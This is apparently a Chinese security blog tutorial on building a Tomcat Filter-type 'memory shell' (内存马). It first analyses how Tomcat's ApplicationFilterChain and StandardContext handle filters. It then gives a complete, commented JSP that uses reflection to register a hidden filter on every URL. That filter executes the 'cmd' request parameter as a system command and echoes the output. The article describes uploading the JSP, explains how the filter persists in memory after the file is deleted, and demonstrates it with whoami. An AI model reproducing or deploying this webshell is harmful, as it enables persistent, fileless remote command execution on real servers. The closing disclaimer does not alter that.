文章总结: 本文详细讲解JavaFilter型内存马的实现原理与技术细节。文档首先介绍JavaWeb三大组件基础,重点分析Filter过滤器的拦截机制与执行流程,通过代码示例演示如何通过动态注入Filter到ApplicationFilterChain的filters数组实现内存驻留。关键发现包括Filter执行链的调用顺序、StandardContext的filterMaps赋值机制,以及通过反射修改运行时内存达到无文件攻击的方法。文章提供完整的代码实现路径,具备较高技术实操性。
综合评分: 78
文章分类: WEB安全,渗透测试,红队,内网渗透,恶意软件
java内存马之-filter-手把手教你写内存马
原创
三呼呼
三呼呼
古月安全
2026年3月27日 09:36
四川
在小说阅读器读本章
去阅读
前言
内存马–是一种无文件、存活于服务器内存中的恶意程序,其中Filter型内存马因其隐蔽性和拦截请求的能力,成为常见的攻击手段,与传统得一句话木马相比,内存马得恶意代码直接注入Web服务器进程内存(如Tomcat、Spring容器)中运行,仅通过内存驻留实现远程控制。
Java Web三大组件
他们是构成Java Web应用的核心基础,包括:
1.Servlet
- 作用:处理客户端请求并生成响应
- 生命周期:初始化 → 服务 → 销毁
- 核心方法:init(), service(), doGet(), doPost(), destroy()
2.Filter(过滤器)
- 作用:在请求到达Servlet之前或响应返回客户端之前进行预处理和后处理
- 生命周期:初始化 → 执行过滤 → 销毁
- 核心方法:init(), doFilter(), destroy()
3.Listener(监听器)
- 作用:监听Web应用中的各种事件,在事件发生时执行特定操作
- 类型:ServletContext、Session、Request三大域对象的监听器
- 核心方法:各种事件回调方法
什么是filter
在Java Web中,Filter(过滤器)是Servlet规范中定义的一种组件,它可以对Web应用程序的请求和响应进行预处理和后处理。Filter在请求到达Servlet之前拦截请求,在响应返回给客户端之前拦截响应。Filter可以用于很多场景,比如日志记录、安全控制(比如常见的XSS防护等)、字符编码转换、数据压缩等。
Filter的作用:
认证和授权:例如,检查用户是否登录,是否有权限访问某个资源。
日志记录:记录请求的详细信息,如IP地址、请求的URL、处理时间等。
数据转换:如统一设置请求和响应的字符编码。
压缩响应:对响应内容进行压缩,减少网络传输量。
加密解密:对请求或响应进行加密解密处理。
触发事件:在请求处理前后触发一些事件。
Filter的加载过程:
1.启动Web应用时:容器(如Tomcat)会读取web.xml(或通过注解@WebFilter)中配置的Filter,并按照配置的顺序加载和初始化Filter。每个Filter都会调用其init方法,进行一些初始化操作。
2.请求到达时:当请求到达容器时,容器会根据web.xml中配置的URL映射,决定哪些Filter需要被执行。这些Filter会按照配置的顺序组成一个过滤器链(FilterChain)。
3.执行过滤器链:
容器会依次调用链中每个Filter的doFilter方法,并将请求和响应对象作为参数传递,同时传递过滤器链对象。
在Filter的doFilter方法中,开发者可以对请求和响应进行处理,然后决定是否继续执行过滤器链。通过调用FilterChain.doFilter(request, response)可以将请求传递给下一个Filter或最终的Servlet。
如果在某个Filter中没有调用FilterChain.doFilter,那么请求就不会继续传递,即后续的Filter和Servlet都不会执行。
4.响应返回时:当过滤器链执行完毕,响应会以相反的顺序再次经过这些Filter(这里指的是在doFilter方法中,调用FilterChain.doFilter之后的代码,这些代码会在响应返回时执行)。因此,Filter可以对响应进行后处理。
filter示例
既然知道了filter的作用,现在通过实例代码来看看具体的filter如何实现:
通过idea创建一个web项目:具体配置见上一篇servlet内存马内容,项目结构如下:
新建一个filter类,firstFilter.java,代码如下:
package com.ex;import javax.servlet.FilterChain;import javax.servlet.ServletException;import javax.servlet.ServletRequest;import javax.servlet.ServletResponse;import javax.servlet.http.HttpFilter;import java.io.IOException;public class firstFilter extends HttpFilter { @Overridepublic void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { String cmd = request.getParameter("cmd"); if (cmd.contains("script")){ response.getWriter().println("XSS--atack"); }else { super.doFilter(request, response, chain);} } @Overridepublic void destroy() { }}
继承HttpFilter-必须,然后重写它的doFilter方法,在方法中实现我们自己的代码逻辑即可,在上面的测试代码中,测试简单的防御xss攻击,当get请求中包含script,即返回一句话。
然后在web.xml中写入对应的filter配置信息,如下图:/*表示所有的url均会受到这个过滤器的影响。
现在我们就实现了我们自己的第一个filter。启动项目,然后运行一下,任何页面get请求,cmd参数中只要包含scrpit就会执行我们的代码:在实际应用中,就可通过代码逻辑,达到拦截恶意攻击的效果。
filter执行流程分析
在firstFilter.java中的else中的super.doFilter(request, response, chain);打上断点:运行程序,访问web,cmd参数只要不包含script就可以执行到下面的doFilter,比如访问:http://127.0.0.1:8080/Memory/?cmd=aaaa 即可执行doFilter()。直接看看参数request中有什么,如下图:
有一个属性filterChain,里面的分别是我们自己的filter,在容器解析web.xml时赋值。以及tomcat的默认filter(WsFilter 是 Tomcat 内部用于处理WebSocket 升级请求的一个过滤器。当客户端发起 WebSocket 连接请求时,这个过滤器会拦截该请求,并协助完成从 HTTP 协议到 WebSocket 协议的升级握手),启动时加入,暂时不管具体细节。
把执行的流程往前推一推,看到在执行我们重写的doFilter之前,已经自动的执行了一个doFilter方法,
所以我们猜测是不是一开始访问web的时候,就会自动的执行doFilter方法如下图:
而这里的 ApplicationFilterChainfilterChain= ApplicationFilterFactory.createFilterChain(request, wrapper, servlet); 是一个ApplicationFilterChain 类型,通过createFilterChain之后,得到的就是上图所示的,有个filters属性,里面就是当前应用中的filter ,但是是封装在ApplicationFilterConfig中的–它的主要作用是封装和管理filter过滤器的配置信息,在Servlet 容器启动时动态加载和初始化过滤器。
看看这个doFilter方法里面:如下图
里面只有一个逻辑,就是不管true或者false,都执行它的internalDoFilter()方法。
在internalDoFilter()方法中, if (pos < n) { ApplicationFilterConfig filterConfig = filters[pos++]; try { Filter filter = filterConfig.getFilter();
判断是否数组是否越界,pos
然后获取每一个filter
然后再后面继续执行 filter.doFilter(request, response, this);
这里的filter就是我们的filter(firstFilter)。
然后执行到我们自己的doFilter,前面的这个过程都是tomcat完成的。
然后调用父类的doFilter方法:
里面再次调用doFilter():
然后再次进入ApplicationFilterChain 的 internalDoFilter()方法,再次进行上面的流程,从数组拿到第二个filter,如果有我们自己的,就继续执行doFilter方法。作用就是从filterChain中逐个执行filter过滤器。
捋一下:过滤器filter在应用启动之后,从配置文件中web.xml读取filter内容,通过ApplicationFilterChain 的属性filters数组保存每一个filter的配置信息,然后通过internalDoFilter()方法,调用每一个filter的doFilter()方法。实现过滤器的逻辑,如果要执行我们自己的filter代码,只需要在filters数组中加入一个我们自己的filter,那么可能就可以达到效果了。如下图中所示:
调用流程大概是这样:doFilter()–>super.doFilter()–>HttpFilter.doFilter()–>chain.doFilter()–>internalDoFilter(filters[pos++]索引加1 下次进入得到下一个filter)–>当前filter.doFilter()循环到前面的doFilter()流程,实现链式调用。
filters赋值过程分析
filters数组赋值:
现在的问题就是如何向filters[]数组中添加filter元素,filters[]是当前ApplicationFilterChain的一个属性,还是在当前ApplicationFilterChain类下的一个方法中有对这个filters的赋值操作-addFilter()方法: filters[n++] = filterConfig;
所以要知道谁调用了这个addFilter()方法,并知道这个filterConfig的值:在ApplicationFilterFactory类中的filterChain调用了该方法,
那么这个filterChain又是什么,继续找!———-filterConfig得值先放一放
还是这个ApplicationFilterFactory工厂类里面的createFilterChain方法创建了这个ApplicationFilterChain filterChain并返回这个filterChain。
现在又要找到谁调用了这个createFilterChain方法,继续往前查找StandardWrapperValve类里面调用了这个方法。得到了ApplicationFilterChain filterChain!
ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
即通过工厂类ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);创建了ApplicationFilterChain filterChain对象,持有了filters[]数组属性。
但是值是如何传递过去的现在仍然没有解决,只知道了创建过程,那么一般在创建的时候会赋值,所以我们在当前的createFilterChain方法里面看看!
方法中有这么两行代码,获取一个StandardContext对象,从该对象中获取filterMaps,而这个值就是应用中的两个filter。那么如何传递过去的接着往下看:
通过增强for循环拿出每一个filter放到filterMap中,然后通过filterConfig=context.findFilterConfig(filterMap.getFilterName()); 将filter的信息赋值到filterConfig中
最后调用filterChain.addFilter(filterConfig); 再次回到addFilter,最后一行将该filter信息(filterConfig)加入filters数组。
这样就成功对filters进行了添加数据。只要知道了数据来源–增强for循环中的filterMaps[],就可以知道了filters数组的数据添加过程。
继续回到前面的数据来源FilterMap filterMaps[] = context.findFilterMaps();如下图:StandardContext的一个属性filterMaps。通过这个findFilterMaps()方法得到;
而filterMaps又是下面这filterMaps.asArray();方法得到的结果。
array又是通过它自己的属性new出来的—new FilterMap[0]。
来到FilterMap 它有几个重要的属性如下:filterName (表示filter的名字)以及 urlPatterns(filter作用范围,比如配置文件中的/*)
而这个filterMaps怎么赋值的如下图:可以看到在addFilterMap进行添加数据:
而addFilterMap是ContextConfig的configureContext方法调用的,传入的参数是WebXml webxml而这个xml其实就是我们的web.xml的信息。
在上面的图中可以看到两个增强for循环从xml中获取了filter的value信息以及映射信息,然后添加到context对应的属性中。至此赋值过程全部完成:总结:filters数组的数据来源是:通过ContextConfig类的configureContext(WebXml webxml)–>addFilterMap()赋值filtersMap,通过增强for循环取出每一个filtermap,再通过context.findFilterConfig(filterMap.getFilterName()); 将filter的信息放到filterConfig中,最后调用filterChain.addFilter(filterConfig)加入到filters[]数组。
web.XML初始化-核心
如下图:要执行到上面得filterChain.addFilter(filterConfig)得addFilter必须让它前面的判断为假,即filterConfig有值。
直接看源代码,是一个hashmap
如下图所示:即filterConfigs这个hashmap中的key值,存在即可。所以需要向这个hashmap的key中加入对应的filterName值。
所以需要找到给这个filterConfigs赋值的过程。如下:在filterStart() 方法中有对它的添加元素的操作:
但是又有个增强for循环,从filterDefs中获取每一个元素,所以需要找到这个变量又是什么!
它也是这个类的一个属性,也是个hashmap
再看它的赋值:也是一个addFilterDef()方法,与前面类似:
又回到了上面的初始化xml这里:
可以看到最原始的赋值就是这里,context的得两个方法addFilterDef和addFilterMap,而这个context其实就是StandardContext对象。具体可看上一篇文章java内存马之-servlet-手把手教你写内存马:如何获取StandardContext对象!
综上所述可以看到addFilterDef和addFilterMap以及filterStart()均属于StandardContext对象的方法,只要得到这个对象调用这三个方法,然后对其赋值即可!
总结一下:
1.需要执行context的addFilterDef给filterDefs赋值,保证下一步filterStart()方法执行得时候可以读取到对应得值并对filterConfig添加数据,参数是FilterDef 对象持有filter属性。
2.需要调用context的filterStart()给filterConfigs赋值,让filterConfig == null不为空,让程序正常运行。
3.需要执行context的addFilterMap给filterMaps数组添加filter的信息
filter内存马构造
首先确认上面三个方法中需要传入的参数值:
1.addFilterDef:需要一个FilterDef 对象这个对象有哪些属性,调试看一下:其实就2个属性比较重要:一个filterName过滤器的名字,一个filterClass类路径名,其他不重要都是空
并且该FilterDef对象提供了对应的set方法。
2.addFilterMap:同理参数FilterMap对象关键属性是:filterName,和URLPattern()
同理:该对象提供了对应的方法赋值:分别是setFilterName()和addURLPattern():
addURLPattern()会调用另外一个方法addURLPatternDecoded,再进行赋值。它自己完成所以我们只管addURLPattern()方法即可!
3.filterStart()无参。
所有分析全部完成,现在就可以来构造我们的filterShell.jsp文件了,测试代码如下:已逐行注释!帮助理解!
<%@ page errorPage="/index.jsp" %>//错误页面指向首页<%@ page contentType="text/html;charset=UTF-8" language="java" %><%@ page import="javax.servlet.http.HttpServlet, java.io.IOException" %><%@ page import="org.apache.catalina.core.ApplicationContext" %><%@ page import="org.apache.catalina.core.ApplicationContextFacade" %><%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="org.apache.catalina.Wrapper" %><%@ page import="javax.servlet.http.HttpServletRequest" %><%@ page import="javax.servlet.http.HttpServletResponse" %><%@ page import="javax.servlet.ServletException" %><%@ page import="java.lang.reflect.*" %><%@ page import="javax.servlet.*" %><%@ page import="org.apache.catalina.core.*" %><%@ page import="org.apache.catalina.deploy.*" %><%@ page import="org.apache.tomcat.util.descriptor.web.*" %>//以上导入相关的包<%!//声明一个恶意的filter,同文章开头filter,修改重写方法里面的内容,执行系统命令--内存马class filterShell extends HttpFilter {//重写doFilter方法@Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { String cmd = request.getParameter("cmd");//get请求cmd参数 Process process = Runtime.getRuntime().exec(cmd);//执行系统命令get的cmd参数 // 读取命令执行结果java.io.InputStream input = process.getInputStream(); java.util.Scanner scanner = new java.util.Scanner(input).useDelimiter("\\A"); String result = scanner.hasNext() ? scanner.next() : ""; response.getWriter().write(result); response.setContentType("text/html"); response.getWriter().println(cmd); } }%><%try { // 通过request的方法,拿到当前的ApplicationContextFacade,getServletContext()方法返回的是ServletContext接口类型,//虽然返回的是ApplicationContextFacade实例,//也可以ApplicationContextFacade acf = (ApplicationContextFacade) request.getServletContext();--不建议ServletContext acf = request.getServletContext(); // 通过反射获取第一层context属性,得到拿到当前的ApplicationContext Field contextField = acf.getClass().getDeclaredField("context"); contextField.setAccessible(true); // 设置可访问权限ApplicationContext applicationContext = (ApplicationContext) contextField.get(acf); // 通过反射获取第二层的context属性,得到StandardContext对象Field applicationContextField = applicationContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); // 设置可访问权限StandardContext standardContext = (StandardContext) applicationContextField.get(applicationContext);//以上具体见servlet内存马filterShell filter = new filterShell();//创建一个filter对象,后面FilterDef对象和FilterMap对象持有参数FilterDef def = new FilterDef();//创建一个FilterDef对象,后面addFilterDef的实参def.setFilter(filter);//给FilterDef对象设置filter属性def.setFilterName("filterShell");//设置filter名def.setFilterClass(filter.getClass().getName());//设置filter类名FilterMap filterMap = new FilterMap();//创建FilterMap对象,后面addFilterMap的实参filterMap.setFilterName("filterShell");//与上面得filter名对应filterMap.addURLPattern("/*");//设置过滤器作用范围,*任意页面均生效//调用关键得三个方法,传入对应得值standardContext.addFilterDef(def);standardContext.filterStart();standardContext.addFilterMap(filterMap); } catch(Exception e) { e.printStackTrace(); }%>
然后将代码在服务端执行即可:比如通过文件上传jsp至服务端,或者通过其他任意执行代码的方式执行。将会在内存中添加一个名为filterShell的过滤器。且任意页面均会调用该过滤器。即便删除上传的jsp木马文件,或者无文件直接运行的代码,只要服务不重启,或者手动从内存中删除该过滤器,将一直存在。
现在启动应用:因为在本地启动,然后直接访问http://localhost:8080/Memory/filterShell.jsp
添加filterShell过滤器至内存
然后任意页面http://localhost:8080/Memory/1234?cmd=whoami get请求cmd跟上系统命令:
成功执行。
总结:
通过反射获取StandardContext对象,主动调用该对象的添加过滤器方法,分别是addFilterDef、addFilterMap和filterStart即可完成filter内存马的创建!
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:古月安全 三呼呼
三呼呼《java内存马之-filter-手把手教你写内存马》